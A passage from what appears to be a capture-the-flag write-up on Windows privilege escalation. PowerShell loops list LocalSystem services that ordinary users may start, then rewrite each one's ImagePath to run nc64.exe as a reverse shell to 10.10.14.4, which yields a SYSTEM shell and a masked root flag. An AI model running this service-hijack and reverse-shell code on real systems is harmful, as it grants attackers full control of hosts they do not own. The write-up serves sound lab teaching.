UserDataSvc D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
UserDataSvc_4d27d D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
WaaSMedicSvc D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)
WinHttpAutoProxySvc D:(A;;CCLCSWRPLOSDRC;;;SY)(A;;CCLCSWRPLOSDRC;;;BA)(A;;CCLCSWRPLORC;;;AU)(A;;CCLCSWRPLORC;;;IU)(A;;CCLCSWRPLORC;;;SU)(A;;LCRPLO;;;AC)(A;;LCRPLO;;;S-1-15-3-1)(A;;LCRPLO;;;S-1-15-3-2)(A;;LCRPLO;;;S-1-15-3-3)
WpnUserService D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
WpnUserService_4d27d D:(A;;CCLCSWRPWPDTLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;IU)(A;;CCLCSWRPWPDTLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;AC)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
wuauserv D:(A;;CCLCSWRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)
I can get a cleaner list by just printing the service:
PS C:\> $startable = foreach ($service in $services) { $sddl = (cmd /c sc sdshow $service)[1]; if ($sddl -match "RP[A-Z]*?;;;AU") { write-host $service }}
AppVClient
ConsentUxUserSvc
ConsentUxUserSvc_4d27d
DevicePickerUserSvc
DevicePickerUserSvc_4d27d
DevicesFlowUserSvc
DevicesFlowUserSvc_4d27d
DoSvc
PimIndexMaintenanceSvc
PimIndexMaintenanceSvc_4d27d
PrintWorkflowUserSvc
PrintWorkflowUserSvc_4d27d
RasMan
seclogon
SstpSvc
UevAgentService
UnistoreSvc
UnistoreSvc_4d27d
UserDataSvc
UserDataSvc_4d27d
WaaSMedicSvc
WinHttpAutoProxySvc
WpnUserService
WpnUserService_4d27d
wuauserv
Enumeration for SYSTEM
The other thing I want is that the service be running as SYSTEM. I can check that in the registry, looking for LocalSystem
in the ObjectName
parameter in PowerShell. For example, DoSvc
does not seem to run as SYSTEM:
PS C:\> (gp -path hklm:\system\currentcontrolset\services\DoSvc).ObjectName
NT Authority\NetworkService
Whereas UserDataSvc
does:
PS C:\> (gp -path hklm:\system\currentcontrolset\services\UserDataSvc).ObjectName
LocalSystem
I’ll add that check to my search. To show the code, I’ll expand it here:
foreach ($service in $services) {
$sddl = (cmd /c sc sdshow $service)[1];
$reg = gp -path hklm:\system\currentcontrolset\services\$service;
if ($sddl -match "RP[A-Z]*?;;;AU" -and $reg.ObjectName -eq "LocalSystem") {
write-host $service
}
}
That will loop over each service, and for each get the registry key and the sddl. Then only if the SDDL matches the regex and the ObjectName
is LocalSystem
will it print the result:
PS C:\> foreach ($service in $services) { $sddl = (cmd /c sc sdshow $service)[1]; $reg = gp -path hklm:\system\currentcontrolset\services\$service; if ($sddl -match "RP[A-Z]*?;;;AU" -and $reg.ObjectName -eq "LocalSystem") { write-host $service }}
AppVClient
ConsentUxUserSvc
DevicePickerUserSvc
DevicesFlowUserSvc
PimIndexMaintenanceSvc
PrintWorkflowUserSvc
RasMan
seclogon
UevAgentService
UnistoreSvc
UserDataSvc
WaaSMedicSvc
WpnUserService
wuauserv
Exploit Loop = Shell
For some reason, the first couple of these I tried didn’t work. From here, I just decided to try them all. Here’s the expanded code:
foreach ($service in $services) {
$sddl = (cmd /c sc sdshow $service)[1];
$reg = gp -path hklm:\system\currentcontrolset\services\$service;
if ($sddl -match "RP[A-Z]*?;;;AU" -and $reg.ObjectName -eq "LocalSystem") {
write-host "Trying to hijack $service";
$old_path = (get-itemproperty HKLM:\system\currentcontrolset\services\wuauserv).ImagePath;
set-itemproperty -erroraction silentlycontinue -path HKLM:\system\currentcontrolset\services\$service -name imagepath -value "\windows\system32\spool\drivers\color\nc64.exe -e cmd 10.10.14.4 443";
start-service $service -erroraction silentlycontinue;
set-itemproperty -path HKLM:\system\currentcontrolset\services\$service -name imagepath -value $old_path
}
}
It starts just like the loop above, but when the conditions match, instead of writing the service name, it writes a message, then gets the old value for the service binary. Then it sets that path to nc.exe
connecting back to me. It then starts the service, and the puts the original bin path back.
When I run this, when it gets to seclogon
, I get a shell:
I don’t know why the others don’t work (please leave a comment if you do). I also can’t explain why I get an error trying to write to RasMan
. But, I have a shell as SYSTEM. If I break out of the shell and restart the listener, it also works for wuauserv
.
Stable Shell
When starting nc.exe
as a service, it will die after a minute or so. To keep a stable shell, I just started a second listener on 444. When the first one connected, I just ran nc.exe
from it, and that new process connects back as SYSTEM and will live past the first minute.
From there, I’ll grab root.txt
:
C:\Users\Administrator\Desktop>type root.txt
8f8613f5************************